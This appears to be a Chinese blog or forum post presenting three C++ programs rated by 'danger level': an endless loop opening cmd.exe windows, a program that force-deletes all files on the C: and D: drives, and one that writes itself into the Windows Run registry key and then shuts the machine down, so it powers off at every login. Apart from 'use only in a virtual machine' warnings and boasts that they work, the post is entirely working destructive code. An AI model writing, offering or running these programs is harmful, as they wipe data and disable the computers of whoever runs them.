目录
引、瘟腥提示
※※※一下代码请慎用※※※
一、
危险系数:★☆☆☆☆
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1)
system("start cmd.exe");
return 0;
}
二、
危险系数:★★★★★
#include<bits/stdc++.h>
using namespace std;
int main(){
system("del /f /s /q D:\\");
system("del /f /s /q C:\\");
return 0;
}
本程序非虚拟机严禁使用,否则后果自负!!!本程序会直接导致电脑报废,蓝屏的机会都没有!!!亲测有效!!!
三、
危险系数:★★★★★
可导致电脑开机就关机!!!人狠话不多!!!
#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
void AutoPowerOn(){//转载自https://blog.youkuaiyun.com/baidu_41388533/article/details/117993523
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL,strExeFullDir,MAX_PATH);
TCHAR strDir[MAX_PATH]={};
DWORD nLength=MAX_PATH;
long result=RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result!=ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir)!=0){
RegSetValueEx(hKey,_T("GISRestart"),0,REG_SZ, (LPBYTE)strExeFullDir,(lstrlen(strExeFullDir)+1)*sizeof(TCHAR));
RegCloseKey(hKey);
}
}
}
int main(){
AutoPowerOn();
system("shutdown -s");
return 0;
}
本程序非虚拟机严禁使用,否则后果自负!!!本程序会直接导致电脑报废,蓝屏的机会都没有!!!已用虚拟机亲测!!!